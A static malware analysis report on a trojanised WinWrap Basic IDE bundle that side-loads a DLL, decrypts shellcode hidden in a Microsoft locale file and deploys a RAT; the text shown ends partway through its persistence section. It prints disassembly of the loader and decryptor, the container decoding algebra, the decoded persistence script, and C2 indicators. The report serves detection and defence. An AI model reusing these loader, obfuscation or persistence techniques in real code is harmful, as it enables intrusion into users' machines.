CNC Machine RMS — Findings Report

Sample set CNCMachineRMS — five malicious artefacts in a 21-file application bundle

Static Malware Analysis

2026-08-22

Disclaimer

This analysis is entirely static. No artefact in this bundle was executed, loaded, or passed to any interpreter at any point. Every decoding step described here was performed by re-implementing the sample’s own transformation in Python and applying it to bytes read from disk — the sample’s code was never run to produce a result.

Findings derived from automated tooling (capa, r2inspect, Ghidra decompilation) are treated as hypotheses and are labelled as such. Only claims verified against radare2 disassembly or against a reproduced decode are stated as findings. Confidence ratings appear inline.

Executive Summary

This bundle is a weaponised copy of a legitimate, signed commercial application — the WinWrap Basic IDE — repackaged so that starting the genuine signed executable silently loads attacker code through DLL search-order hijacking. Of the 21 files, 16 are authentic Microsoft or third-party redistributables and the signed vendor application itself; five are malicious, all compiled on the same day.

The chain runs four stages. A signed vendor DLL calls into a malicious DLL planted alongside it; that loader decrypts a shellcode payload hidden inside what is otherwise a genuine Microsoft locale-data file; the shellcode parses a custom obfuscated container and extracts a 1.58 MB remote access trojan.

The RAT is a full-featured, professionally engineered implant. It performs exhaustive host profiling, enumerates and targets thirteen browsers, provides an interactive shell and arbitrary payload execution through fifteen handlers reaching six living-off-the-land binaries (four of which fetch their payload from a URL), carries an unusually broad anti-virtualisation battery, and maintains self-healing persistence that masquerades under the name of the legitimate host application — two mechanisms in this build’s configuration, four implemented and operator-selectable. It resolves its command-and-control server over DNS-over-HTTPS, defeating local DNS monitoring.

The RAT is fully armed as delivered. It carries two hardcoded command-and-control gates — a domain and a bare IP, both on port 443 — inside an encrypted settings container appended to the payload. Because one gate is an IP literal, blocking DNS-over-HTTPS does not sever C2. Campaign tag: first.

Sample Identification

The bundle comprises 21 files. The seven below are the ones that matter to this analysis: two benign signed components that form the execution path, and five malicious files. The remaining fourteen comprise twelve standard redistributables (msvcp140/_1/_2, vcruntime140/_1, ucrtbase, concrt140, mfc140u, SDL3, and the MinGW runtime set libgcc_s_seh-1, libstdc++-6, libwinpthread-1) plus two further WinWrap Basic components, wwb9_64.dll and wwb9$000.dll. None has a role in the chain, and all fourteen are excluded by the rule validation in Detection Opportunities.

Bundled components

File SHA-256 Size Role
WinWrapIDE.exe 0562c588997fa9961d55c6ab1db2656344324bca8db9ea7b64fe309132b2399f 313,512 Benign, signed. Execution entry point
wwide9.dll e50d9b4dc4db137c1aa6c48f801785e0300fc1091c61ca9385e8116cdca88768 96,424 Benign, signed. Crosses the trust boundary
PkSql1.dll d7bcae4a915261ace7a845f8c1bb2a54ce918921805204125705bfae29656851 120,832 Malicious. Stage-1 loader
HTS25.dll 32797a560b9a290e715cb5591e71dd9537d782862324906e1bb4652dd2366c9a 97,792 Malicious. Execution helper
usbraw.dll d4df2adf41455644e8df22db1f410a46d2d069cdcc6373aac0742d65c34c2186 103,936 Malicious. TCP listener + audio capture
Graphic.Model.dat 6b1dfa9381c54782da709478c2f343b2988f089da449f0bd79fd732265f4e6d7 1,013,891 Malicious carrier. Stage-2 container
load.db 9a7ec20cfe939a0739819262c1e3ff0265c851136cc263597936773376a5d907 1,690,488 Malicious carrier. Stage-3 container

Derived artefacts

Recovered during this analysis; not present in the bundle, and existing only in memory at runtime. The hashes are provided so a memory image can be matched against them (Recommendation 8).

Artefact SHA-256 Size Origin
Stage-2 shellcode 840bd56fd0055c056b4e199b8906a79d993c839342f3e1d1dccc6ade13518fc7 340,803 Graphic.Model.dat @ 0x3ab30, rolling XOR
Stage-3 RAT bd9b94186ff9aef3b2fd78ebc38fa169d5a7821bb6a8e57b25bbdff55476c152 1,580,970 load.db record tid=16100 @ 0x1abce

All five malicious files carry compilation timestamps of 2026-08-04, against 2020–2026 dates for the legitimate components. The three malicious DLLs are unsigned; the legitimate components are signed.

Key Findings

# Severity Finding
1 Critical Signed-application side-loading: a signed vendor DLL calls an unsigned attacker DLL, laundering execution through a trusted process
2 Critical Four-stage chain terminating in a 1.58 MB modular RAT with interactive shell and arbitrary payload execution
3 High Self-healing persistence (Run key + scheduled task) re-applied on a timer and at shutdown, named after the legitimate host application — with two further operator-selectable mechanisms (HKLM Run, Startup .lnk) implemented in the payload (§6b)
4 High C2 name resolution tunnelled over DNS-over-HTTPS to public resolvers, bypassing local DNS logging and blocking
5 High Malicious payload spliced into the middle of a genuine Microsoft locale-data file to evade file-carving and inspection
6 High Bespoke arithmetically-obfuscated container format, defeating signature and carving approaches
7 Medium Extensive anti-virtualisation battery: ~60 driver, service, process, PCI-vendor and registry checks across VMware, VirtualBox, Hyper-V, QEMU, Xen and Parallels
8 Medium Broad credential-theft surface: thirteen browsers targeted by name, plus cookie and download-directory access
9 Medium Shellcode executed via a callback-pointer abuse of EnumSystemCodePagesW rather than a direct call
10 Critical Two hardcoded C2 gates (triotmelon.com:443 and 144.124.242.171:443) in an encrypted settings container appended to the stage-3 payload; the IP gate is DNS-independent
11 High Configuration and the RAT’s own startup program are stored as an interpreted script in that container — the implant is script-driven, so behaviour is config rather than compiled code

MITRE ATT&CK Mapping

Every technique below is mapped from a finding derived first-hand from the sample’s bytes. A technique appears here only if the report establishes it by disassembly, decoded script source, or decoded string evidence — capabilities inferred from imports alone, or adopted from third-party reporting on other builds of this family (see External Intelligence Corroboration), are excluded. The Evidence column cites the Technical Analysis section that grounds the row, not the Key Findings table, since the two use different numbering.

Confidence carries the same meaning as in Technical Analysis: High = read off the bytes; Medium = strongly supported but with one unresolved join.

Execution

ID Technique Evidence Confidence
T1129 Shared Modules The OS loader resolves PkSql1!OptimizeTextCard as a normal import of signed wwide9.dll; no injection or patching is involved (§1) High
T1106 Native API VirtualAlloc RWX, LoadLibraryW, BCryptGenRandom reached only from the malicious export set (§2, §14) High
T1059.001 Command and Scripting Interpreter: PowerShell PowerShell invocation with -ExecutionPolicy Bypass among the payload’s execution handlers (§9, §15) High
T1059.003 Command and Scripting Interpreter: Windows Command Shell Interactive shell channel and cmd-routed handlers (§9) High
T1053.005 Scheduled Task/Job: Scheduled Task autorunToSheduler() re-applied on an 875 s timer; task created /RU SYSTEM (§5, §6) High
T1203 Exploitation for Client Execution Not observed. Listed to record an explicit negative: the chain uses no exploit at any stage High

Persistence

ID Technique Evidence Confidence
T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder autorunToRegistry() writes HKCU Run as SPSS WinWrap Basic IDE 27.4; AUTORUN_HK (HKLM) and AUTORUN_STARTUP_LNK selectable per task (§6, §6b) High
T1053.005 Scheduled Task/Job: Scheduled Task Second of the two configured stores; check-then-restore, not blind write (§6) High
T1574.002 Hijack Execution Flow: DLL Side-Loading The load-time chain across the trust boundary into a signed process image (§1) High

Privilege Escalation

ID Technique Evidence Confidence
T1053.005 Scheduled Task/Job: Scheduled Task Task registered with /RU SYSTEM, yielding SYSTEM execution context (§6) High
T1574.002 Hijack Execution Flow: DLL Side-Loading Inherits the host application’s context and trust (§1) High

Defense Evasion

ID Technique Evidence Confidence
T1574.002 Hijack Execution Flow: DLL Side-Loading Signature and allowlist controls do not fire — both the executing image and the importing module are genuinely signed (§1) High
T1027 Obfuscated Files or Information LCG stack strings, per-stage re-keyed (§7, §15); corroborated independently by capa [T1027] High
T1027.005 Obfuscated Files or Information: Indicator Removal from Tools capa match; consistent with the near-total absence of literal strings in stage 3 (§7) Medium
T1027.007 Obfuscated Files or Information: Dynamic API Resolution FNV-1a hash → API resolution; 23 modules resolved (§8) High
T1027.009 Obfuscated Files or Information: Embedded Payloads Stage 2 spliced into a genuine Microsoft LCDT carrier, Graphic.Model.dat (§2) High
T1140 Deobfuscate/Decode Files or Information Rolling positional XOR (stage 1), XOR 0x92 (script), per-string XOR over UTF-16LE (settings blob) (§2, §5, §11) High
T1620 Reflective Code Loading Payload never touches disk; RWX allocation at a non-page-aligned entry (pbBuffer + 0xc033) (§2, §3) High
T1562.001 Impair Defenses: Disable or Modify Tools AMSI bypass indicators, stage-2 amsi.dll LCG site (§15) Medium
T1497 Virtualization/Sandbox Evasion isVm() gate in the startup script; %SYSTEMDRIVE%\Intel allowlist disables the whole path (§10, §15b) High
T1497.003 Virtualization/Sandbox Evasion: Time Based Evasion vmdetect_sleep_seconds sleep on detection; duration not recoverable for this build (§11f) Medium
T1036 Masquerading Persistence entry named SPSS WinWrap Basic IDE 27.4; module filenames chosen to blend into a CNC/CAD file set (§6, §14) High
T1036.001 Masquerading: Invalid Code Signature Not observed. Explicit negative — the signatures present are genuine, which is the point of §1 High
T1218 System Binary Proxy Execution Handler set reaching rundll32, regsvr32, msiexec, cscript among six distinct LOLBins (§9) High
T1055 Process Injection RWX allocation and callback-pointer control transfer within the host process (§2, §3) High

Discovery

ID Technique Evidence Confidence
T1082 System Information Discovery Host survey including motherboard and BIOS serials; MachineGuid read from the registry (§8) High
T1012 Query Registry MachineGuid LCG-constructed registry path, decoded arithmetically (§8) High
T1497 Virtualization/Sandbox Evasion Environment checks feeding the isVm() gate (§10) High
T1083 File and Directory Discovery Stage 2 discovers its own payload by directory sweep and format validation, not by filename (§3, §4) High

Collection

ID Technique Evidence Confidence
T1113 Screen Capture Settings-blob field is_tosend_firstlaunch_screenshot decoded at 0x181c1d, value 1 (enabled) (§11f) High
T1123 Audio Capture Microphone capability in usbraw.dll (§13) High
T1005 Data from Local System Host survey reads uninstall inventory and URL-association keys under SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall (§8) High
T1555.003 Credentials from Password Stores: Credentials from Web Browsers Decoded stage-3 strings name cookies, state, downloads and the browser UrlAssociations key (§8) Medium

Command and Control

ID Technique Evidence Confidence
T1071.001 Application Layer Protocol: Web Protocols Both gates connect on port 443 (§11) High
T1071.004 Application Layer Protocol: DNS DoH resolution path, three providers selectable, default dns.google (§12) High
T1572 Protocol Tunneling DNS-over-HTTPS used to resolve the domain gate, evading plaintext DNS monitoring (§12) High
T1573 Encrypted Channel Handshake following connect; note the traffic is assessed as likely not TLS despite port 443 (§11g) Medium
T1008 Fallback Channels Dual gate — a domain and a bare IP; the IP gate is DNS-independent (§11) High
T1205 Traffic Signaling usbraw.dll binds and listens for an inbound operator connection, a second and independent channel (§13) High
T1105 Ingress Tool Transfer Zipped _BY_LINK payload-staging handlers (§9) High

Impact and Exfiltration

ID Technique Evidence Confidence
T1041 Exfiltration Over C2 Channel Collected data returned over the established gate session; the exfiltration routine itself was not traced end to end (§9) Medium

Coverage caveats

Three limits on the table above, stated so it is not read as an enumeration of the implant’s full capability:

  1. The command surface is bounded below, not enumerated. 0x119af8 dispatches script steps. No call path from a known C2 function reaches it, but the C2 path does start it as a thread (§8c), so there is no separate command router: operator commands arrive as script for this interpreter. The table is a lower bound because the DSL is open-ended, not because router code went unread.
  2. capa contributed two rows and confirmed a third. Its ATT&CK output for this sample is limited to T1027 and T1027.005 — a far narrower set than the mapping above, because capa reads the native stub and not the decoded stage-3 behaviour. The divergence is expected, not a contradiction.
  3. Two rows are deliberate negatives (T1203, T1036.001). They record techniques a reader would reasonably expect from this family’s public reporting and which this build does not exhibit.

Capability Flow Diagram

The chain is shown as two figures. Figure 1 covers delivery and loading, from the signed host application to the point where the obfuscated container is parsed; Figure 2 covers what the extracted stage-3 RAT does. load.db appears in both as the join.

Figure 1 — Delivery and loading (Stages 1–2). The trust boundary is crossed by the OS loader resolving a legitimate import, not by injection.

Figure 2 — Stage 3 RAT capabilities and C2. Both gates are hardcoded in the appended settings blob; the IP gate needs no name resolution.

The same chain in text form, for grep and for terminal reading:

  WinWrapIDE.exe            [signed, legitimate]
        |
        v
  wwide9.dll                [signed, legitimate]
        |  imports PkSql1!OptimizeTextCard   <-- TRUST BOUNDARY CROSSED
        v
  PkSql1.dll                [malicious, unsigned]      STAGE 1
        |  LoadLibraryW("usbraw.dll")
        |  fread(Graphic.Model.dat, offset 0x3ab30, 0x53343 bytes)
        |  rolling-XOR decrypt
        v
  HTS25.dll!LoadDatabase    [malicious, unsigned]
        |  VirtualAlloc(RWX) + BCryptGenRandom entropy flood
        |  EnumSystemCodePagesW(payload as lpCodePageEnumProc)
        v
  Stage-2 shellcode         [340,803 bytes, in memory only]   STAGE 2
        |  scan dirs for *.bak/db/bin/dat/raw/pak
        |  validate container (key 0x43d75dfd)
        |  parse 1128-record obfuscated directory
        v
  load.db record tid=16001  -> orchestration script (XOR 0x92)
  load.db record tid=16100  -> STAGE 3 RAT (1,580,750 bytes)
        |
        v
  Stage-3 RAT                                              STAGE 3
        |
        +-- persistence ---> HKCU Run key       (re-applied every 150 s)  [configured]
        |                    schtasks ONLOGON   (re-applied every 875 s)  [configured]
        |                    shutdown hook      (re-applied on shutdown)  [configured]
        |                    HKLM Run / Startup .lnk   [implemented, operator-selectable]
        |
        +-- anti-analysis -> ~60 VM/sandbox checks
        |                    C:\Intel present => all checks skipped
        |
        +-- collection ----> host survey, 13 browsers, cookies, downloads
        |                    Defender config + MachineGuid
        |
        +-- execution -----> 15 payload handlers, 6 LOLBins
        |                    cmd / powershell / msiexec / rundll32
        |                      / regsvr32 / cscript
        |                    4x _BY_LINK fetch-then-run (+2 stubs)
        |                    interactive shell queue
        |
        +-- C2 ------------> settings blob (appended to payload, per-string XOR)
                               gate_list -> communicator::add_gate
                                 |
                                 +-- triotmelon.com:443   -> DoH resolve
                                 |     (cloudflare-dns.com | dns.google
                                 |      | dns.quad9.net)
                                 +-- 144.124.242.171:443  -> direct, NO DNS
                                       => blocking DoH does not sever C2

  usbraw.dll!EstablishTcpListenerSession  -> bind/listen TCP backdoor
                                            (address + port are parameters)

Technical Analysis

Methodology and safety posture

The sample was never executed. Every finding below was derived from static analysis of the bytes on disk: disassembly, decoded string tables, and decoders re-implemented in Python from each stage’s own source. No stage was passed to pwsh, cmd, Invoke-Expression, or any other evaluator, and no network request was made to any host named in this report — including the C2 domain, which was not resolved.

Where a stage transforms data, the transformation was re-implemented rather than reused, so that a stage behaving differently from what its source appears to say produces a decode failure rather than silent execution.

Tool output — capa, r2inspect, Ghidra, ClamAV, YARA — is treated throughout as a hypothesis generator, not ground truth. No such output is cited as a finding without independent verification against disassembly; where the two disagree, the disagreement is reported rather than silently resolved. Confidence ratings carry the meaning given in the ATT&CK mapping above: High = read off the bytes, Medium = strongly supported with one unresolved join.

1. Side-loading through a signed application (Critical, High confidence)

The execution entry point is WinWrapIDE.exe, a legitimately signed copy of the WinWrap Basic IDE. It loads wwide9.dll, also signed. wwide9.dll imports the symbol OptimizeTextCard from PkSql1.dll — an unsigned, attacker-supplied DLL placed in the same directory.

This is the trust boundary. Because the loading process and the loading module are both signed and legitimate, the attacker’s code executes inside a process that application-allowlisting and signature-based controls will treat as trusted. Nothing about the launch appears anomalous to the user: the real IDE starts and runs.

Verified by reading the import directory of wwide9.dll and the export directory of PkSql1.dll. The trust boundary is visible in two rabin2 reads — the signed module’s import, and the unsigned module’s matching export:

$ rabin2 -i wwide9.dll | grep -i pksql
1    0x180006188 NONE FUNC PkSql1.dll                        OptimizeTextCard

$ rabin2 -E PkSql1.dll
nth paddr      vaddr       bind   type size lib        name
1   0x00001804 0x180002404 GLOBAL FUNC 0    PkSql1.dll BuildSplineControlMesh
2   0x00000d84 0x180001984 GLOBAL FUNC 0    PkSql1.dll ComposeMultiLayerCanvas
3   0x00003870 0x180004470 GLOBAL FUNC 0    PkSql1.dll EnumerateComMonikerBindings
4   0x00002220 0x180002e20 GLOBAL FUNC 0    PkSql1.dll FlushParticleEmitterField
5   0x000008f4 0x1800014f4 GLOBAL FUNC 0    PkSql1.dll OptimizeTextCard
6   0x00004600 0x180005200 GLOBAL FUNC 0    PkSql1.dll RasterizeGlyphOutlineBatch
7   0x00002e50 0x180003a50 GLOBAL FUNC 0    PkSql1.dll SetupWaveOutRingBuffer

OptimizeTextCard resolves to 0x1800014f4, the fifth of seven exports — the other six are decoys (§14). The signing asymmetry is a single field in each module’s header, and is the whole of the attack’s leverage:

$ rabin2 -I wwide9.dll | grep -E 'arch|bits|signed'
arch     x86
bits     64
signed   true

$ rabin2 -I PkSql1.dll | grep -E 'arch|bits|signed'
arch     cil
bits     64
signed   false

Note arch cil on PkSql1.dll: it is a mixed-mode C++/CLI image, so radare2 defaults to disassembling its native code as CIL and produces nonsense. Every disassembly listing in this report from PkSql1.dll and HTS25.dll therefore forces the architecture explicitly with -e asm.arch=x86 -e asm.bits=64. A reader who omits that will not reproduce these results.

2. Stage 1 — the loader (Critical, High confidence)

PkSql1.dll!OptimizeTextCard @ 0x1800014f4:

  1. Calls LoadLibraryW("usbraw.dll"), bringing the TCP-listener module into the trusted process.
  2. Reads Graphic.Model.dat at a hardcoded offset, via FUN_180001390: fseek(_File, 0x3ab30, 0); fread(buf, 1, 0x53343, _File);
  3. Decrypts exactly 0x53343 bytes with a position-dependent rolling XOR (FUN_180001314).

Both constants are immediates in the disassembly. FUN_180001390 opens by loading the payload length into r15d, then seeks to the hardcoded offset:

$ r2 -q -e asm.arch=x86 -e asm.bits=64 -c 'aaa; s 0x180001390; pdf' PkSql1.dll

┌ 338: fcn.180001390 (int64_t arg1, int64_t arg2, ...);
│  0x1800013d1  41bf43330500   mov r15d, 0x53343          ; payload length
│  0x1800013ee  488d15c327..   lea rdx, [0x180013bb8]     ; "rb"
│  0x1800013f8  ff1572ff0000   call qword [sym.imp...._wfopen]
│  0x180001416  4533c0         xor r8d, r8d               ; SEEK_SET
│  0x180001419  ba30ab0300     mov edx, 0x3ab30           ; hardcoded offset
│  0x180001421  ff1559ff0000   call qword [sym.imp...._fseek]
│  0x18000144d  4c8bcf         mov r9, rdi                ; FILE*
│  0x180001450  4d8bc7         mov r8, r15                ; nmemb = 0x53343
│  0x180001453  ba01000000     mov edx, 1                 ; size  = 1
│  0x180001458  488b4de0       mov rcx, qword [stream]
│  0x18000145c  ff1516ff0000   call qword [sym.imp...._fread]

The decryptor FUN_180001314 is 58 bytes end to end, and carries every constant of the keystream as an immediate:

$ r2 -q -e asm.arch=x86 -e asm.bits=64 -c 'aaa; s 0x180001314; pdf' PkSql1.dll

┌ 58: fcn.180001314 (int64_t arg1);
│  0x180001314  33d2           xor edx, edx
│  0x180001316  4c8bc9         mov r9, rcx
│  0x180001319  4885c9         test rcx, rcx
│  0x18000131c  742f           je 0x18000134d
│  0x18000131e  448d5207       lea r10d, [rdx + 7]        ; r10 = 7
│  0x180001322  448bc2         mov r8d, edx               ; index = 0
│  ; loop:
│  0x180001325  418ac0         mov al, r8b                ; al = index
│  0x180001328  418d485c       lea ecx, [r8 + 0x5c]       ; cl = index + 0x5c
│  0x18000132c  c0e002         shl al, 2                  ; al = index * 4
│  0x18000132f  4183ea53       sub r10d, 0x53             ; r10 -= 0x53
│  0x180001333  02c8           add cl, al                 ; cl += index*4
│  0x180001335  83c207         add edx, 7                 ; edx += 7
│  0x180001338  4102ca         add cl, r10b
│  0x18000133b  02ca           add cl, dl
│  0x18000133d  43300c01       xor byte [r9 + r8], cl     ; the XOR
│  0x180001341  49ffc0         inc r8
│  0x180001344  4981f84333..   cmp r8, 0x53343            ; exactly the read length
│  0x18000134b  72d8           jb 0x180001325
│  0x18000134d  c3             ret

The Ghidra pseudocode the analysis was originally written from renders the same loop as:

cVar1 = '\0'; cVar3 = '\a'; uVar2 = 0;
do {
    cVar3 = cVar3 + -0x53;
    cVar1 = cVar1 + '\a';
    *(byte *)(param_1 + uVar2) ^= (char)uVar2 * '\x05' + '\\' + cVar3 + cVar1;
    uVar2 = uVar2 + 1;
} while (uVar2 < 0x53343);

The two agree, but not obviously — the disassembly multiplies the index by four (shl al, 2), not five. The fifth multiple comes from add cl, dl, where dl advances by 7 per iteration and is not the same counter. This was verified by executing both forms over the same index range and comparing keystreams byte for byte rather than by inspection; they are identical. The end-to-end check is stronger still: the keystream derived from the instructions alone, applied to Graphic.Model.dat[0x3ab30 : 0x3ab30+0x53343], yields 340,803 bytes whose SHA-256 is 840bd56fd0055c056b4e199b8906a79d993c839342f3e1d1dccc6ade13518fc7 — the stage-2 hash in Sample Identification — beginning 48 83 ec 28 (sub rsp, 0x28), a valid x86-64 prologue.

The keystream depends on the byte’s position, so a partial or misaligned read produces garbage rather than partially-correct output — which is what makes the hardcoded offset load-bearing rather than incidental.

3a. The carrier is a genuine Microsoft file (High confidence). Only 0x53343 of Graphic.Model.dat’s 1,013,891 bytes are payload. The remaining ~240 KB before and ~433 KB after are not padding: the file begins with the magic LCDT followed by “Copyright (C) 1997, Microsoft Corporation. All rights reserved.”, and both regions have low entropy (1.836 and 1.180) consistent with structured tabular data. This is an authentic Windows locale-data table with the payload spliced into its middle. A defender carving for high-entropy blobs, or checking the file’s header and footer, sees a legitimate Microsoft data file.

3. Stage 2 — execution via callback-pointer abuse (Critical, High confidence)

HTS25.dll!Accuracy @ 0x180001418 prepares the buffer. The allocation and its computed protection constant:

$ r2 -q -e asm.arch=x86 -e asm.bits=64 -c 'aaa; s 0x180001418; pdf' HTS25.dll

┌ 589: sym.HTS25.dll_Accuracy (int64_t arg1, ...);
│  0x18000144e  448d493c       lea r9d, [rcx + 0x3c]   ; flProtect = arg1 + 0x3c
│  0x180001452  ba00604900     mov edx, 0x496000       ; dwSize
│  0x180001457  33c9           xor ecx, ecx            ; lpAddress = NULL
│  0x180001459  41b800300000   mov r8d, 0x3000         ; MEM_COMMIT|MEM_RESERVE
│  0x18000145f  ff1523ec0000   call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
...
│  0x18000161a  ff1550ed0000   call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
│  0x18000162b  488d8333c0..   lea rax, [rbx + 0xc033] ; returned pointer

Instruction order carries the finding. lea r9d, [rcx + 0x3c] executes before xor ecx, ecx, so rcx there is still Accuracy’s own first argument, not the zeroed lpAddress. The protection is therefore arg1 + 0x3c, and the value of arg1 is fixed at the call site in the other module:

$ r2 -q -e asm.arch=x86 -e asm.bits=64 -c 'aaa; pD 0x30 @ 0x180001796' PkSql1.dll

│  0x1800017b5  b904000000     mov ecx, 4
│  0x1800017ba  ff15e8f80000   call qword [sym.imp.HTS25.dll_Accuracy]

4 + 0x3c = 0x40 = PAGE_EXECUTE_READWRITE. The RWX allocation is thus proven from two instructions in two separate binaries, neither of which contains the literal 0x40 — which is the point of splitting it that way. BCryptGenRandom then floods the allocation with entropy, and the function returns pbBuffer + 0xc033, a deliberately non-page-aligned payload offset that frustrates tooling assuming shellcode begins at a page boundary.

HTS25.dll!LoadDatabase @ 0x180001668 then transfers control by passing the buffer to EnumSystemCodePagesW as its lpCodePageEnumProc callback. The whole function is 97 bytes, and the SDL3 calls preceding the transfer are decoy work:

$ r2 -q -e asm.arch=x86 -e asm.bits=64 -c 'aaa; s 0x180001668; pdf' HTS25.dll

┌ 97: sym.HTS25.dll_LoadDatabase (int64_t arg1, int64_t arg2, ...);
│  0x180001668  48895c2408     mov qword [arg_8h], rbx
│  0x18000166e  4883ec20       sub rsp, 0x20              ; shadow space
│  0x180001672  488bf9         mov rdi, rcx               ; rdi = payload ptr
│  0x180001677  ff15f3ea0000   call qword [...SDL_CreateEnvironment]
│  0x18000168f  ff15b3ea0000   call qword [...SDL_GetEnvironmentVariable]
│  0x180001698  ff15f2ea0000   call qword [...SDL_GetEnvironmentVariables]
│  0x1800016a1  ff1591ea0000   call qword [...SDL_free]
│  0x1800016aa  ff1568ea0000   call qword [...SDL_DestroyEnvironment]
│  0x1800016b0  ba01000000     mov edx, 1                 ; dwFlags = CP_INSTALLED
│  0x1800016b5  488bcf         mov rcx, rdi               ; lpCodePageEnumProc
│  0x1800016b8  ff15d2e90000   call qword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
│  0x1800016c8  c3             ret

The payload pointer arrives in rcx, is parked in rdi across the decoy calls, and is restored to rcx — the lpCodePageEnumProc position — immediately before the call. There is no CreateThread, no call rax on a freshly-allocated buffer, and no direct jump into the payload: the transition is made by a legitimate Windows API on the attacker’s behalf.

Correction of an earlier reading, itself now corrected: the second argument 0x20 to LoadDatabase was first taken to be a key length, then restated as the dwFlags argument to EnumSystemCodePagesW. The disassembly supports neither. mov edx, 0x20 at 0x180001947 in PkSql1.dll genuinely is LoadDatabase’s second argument, but LoadDatabase never reads rdx — it hardcodes mov edx, 1 for the API call. 0x20 is a dead argument, and the 0x20 visible inside LoadDatabase is sub rsp, 0x20, the Win64 shadow-space allocation, unrelated to either. The flags value that reaches the API is 1 (CP_INSTALLED), which is what the constant name was always right about. See Corrections item 43.

4. The load.db container format (High confidence, fully reproduced)

Stage 2 searches directories for files with extensions bak, db, bin, dat, raw, pak (setup at 0x52669, walker at 0x52a15) and validates each candidate against a header check at 0x4d5f1/0x4d62d, keyed on the constant K = 0x43d75dfd.

K is not embedded in the validator — it is passed into it as the fourth argument, which is why a search of the check routine’s own bytes does not find it. A binary-wide search for the little-endian constant returns exactly one site, immediately before the call:

$ r2 -q -e asm.arch=x86 -e asm.bits=64 -m 0 \
     -c '/x fd5dd743' payload_stage2.bin
0x000530a4 hit0_0 fd5dd743          # one hit, binary-wide

$ r2 -q -e asm.arch=x86 -e asm.bits=64 -m 0 \
     -c 'pD 0x30 @ 0x530a2' payload_stage2.bin
0x000530a2  41b9fd5dd743   mov r9d, 0x43d75dfd        ; K, 4th argument
0x000530a8  4c8b842430..   mov r8, qword [rsp + 0x130]
0x000530b0  488b942438..   mov rdx, qword [rsp + 0x138]
0x000530b8  488b4c2430     mov rcx, qword [rsp + 0x30]
0x000530bd  e82fa5ffff     call 0x4d5f1               ; the header check
0x000530c2  0fb6c0         movzx eax, al
0x000530c5  85c0           test eax, eax
0x000530c7  7422           je 0x530eb                 ; reject candidate

0x4d5f1 is a five-instruction forwarder that re-marshals the same four arguments and tail-calls 0x4d62d, which is why both addresses name the check. The single-hit result matters: it establishes that the container key exists in exactly one place in stage 2, so this call is the validation site rather than one of several.

The format is not TLV. Every structural field is arithmetically obfuscated: stored as the result of a multiply-and-subtract against K and a per-record salt, so no field is readable in a hex dump and no fixed byte pattern exists to signature. The algebra, recovered by reading the field decoder at 0x4b27d:

K = 0x43d75dfd
header, q = little-endian qwords at offset 0:
    magic = q[2] - ((K - q[0]*q[1]) + q[5])          == 1

directory entry i at 0x78 + i*0x58, salt s = qword[entry + 0x00]:
    parent/index = (q[1] - K*s)     - s
    type_id      = (q[3] - K*(s+5)) + 2*s
    size         = (q[4] - K)       - 7*s

layout:  0x00 header | 0x78 directory (1128 x 0x58) | 0x18438 data region

Validation. The decode was not fitted to a guess — it is confirmed by three independent exact arithmetic identities: the magic decodes to exactly 1; a header field decodes to 0x19cb78, exactly the file size; and the sum of all 1,128 record sizes is 1,591,104, exactly the length of the data region (end offset 0x19cb78, delta 0).

Records carry numeric type IDs in the range 0x3e800x3ea4 (16000–16036). The container holds two significant records:

tid offset size content
16001 0x18438 3,904 orchestration script, XOR key 0x92
16100 0x1abce 1,580,750 the stage-3 RAT (@input)

Four small records hold UTF-16LE strings under a 16-bit word XOR (not a byte key — an earlier byte-key attempt failed because the high bytes varied):

tid offset key value
16052 0x19caa4 0xa7a7 registryAutorunValue
16054 0x19cad4 0xb1b1 SPSS WinWrap Basic IDE 27.4
16052 0x19cb12 0x7070 shedulerAutorunValue
16054 0x19cb42 0x8989 SPSS WinWrap Basic IDE 27.4

The @input payload boundary at 0x1abce was independently reproduced by two unrelated methods — this container decode, and an earlier XOR-based analysis — which is the strongest available corroboration of the offset.

5. The orchestration script (High confidence, fully decoded)

Record tid=16001 decodes to a compiled script in a bespoke DSL with task and function constructs, ::-namespaced builtins, and @name resource references. Decoded in full:

The decode is a single-byte XOR over UTF-16LE and is reproducible directly from the container on disk, without any intermediate artefact — record tid=16001 begins at offset 0x18438 of load.db:

$ python3 -c "
d = open('load.db','rb').read()
raw = d[0x18438:0x18438+32]
print('raw   :', raw.hex(' '))
print('xor 92:', bytes(b ^ 0x92 for b in raw).hex(' '))"

raw   : f1 92 fd 92 ff 92 e2 92 fe 92 f7 92 ea 92 b2 92 b6 92 e1 92 fa 92 e6 92 ff 92 fd 92 fc 92 a9 92
xor 92: 63 00 6f 00 6d 00 70 00 6c 00 65 00 78 00 20 00 24 00 73 00 68 00 74 00 6d 00 6f 00 6e 00 3b 00

Read as UTF-16LE that is complex $shtmon; — the script’s first line, exactly as quoted below. The key is recoverable by inspection rather than by search: every odd byte of the ciphertext is 0x92, because the high byte of each UTF-16LE code unit in ASCII text is 0x00 and 0x00 ^ 0x92 == 0x92. The repeating byte is the key, the same property exploited for the settings blob in §11.

complex $shtmon;

task preparations[active=true,async=false]
{ delayer::delay_in_seconds(2); }

task autorun_on_shutdown[active=true,async=true]
{ $shtmon = shutdown_monitor::create_instance();
  shutdown_monitor::start($shtmon, autorunAddOnShutdown); }

task autorun_to_registry[active=true,async=true]
{ loop { delayer::delay_in_seconds(150); autorunToRegistry(); } }

task autorun_to_sheduler[active=true,async=true]
{ loop { delayer::delay_in_seconds(875); autorunToSheduler(); } }

task block_execution[active=true,async=false]
{ int $resid = runtime::resource_get_id(@input);
  complex $exe_bytes = runtime::resource_get_bytes($resid);
  previewer::load_re_firmcode($exe_bytes);
  delayer::delay_infinite(); }

function void autorunToRegistry() {
  string $exepath = process::get_itself_path();
  int $resid = runtime::resource_get_id(@registryAutorunValue);
  $regValue = runtime::resource_get_string($resid);
  bool $hkcuExists = autoruns::autorun_exists_hkcu($regValue, $exepath);
  if ($hkcuExists == false) { autoruns::autorun_add_hkcu($regValue, $exepath); } }

function void autorunToSheduler() { ... autoruns::shtasks_add($shedValue,"",$exepath,""); ... }

This is the clearest single artefact in the analysis: it states the malware’s intent in near-source form.

6. Self-healing persistence (High, High confidence)

The script establishes three mutually reinforcing persistence mechanisms:

  1. HKCU Run keyautorunToRegistry() runs on a loop every 150 seconds. It checks whether its entry exists and re-adds it if not.
  2. Scheduled taskautorunToSheduler() runs every 875 seconds, with the same check-and-restore pattern, via schtasks.
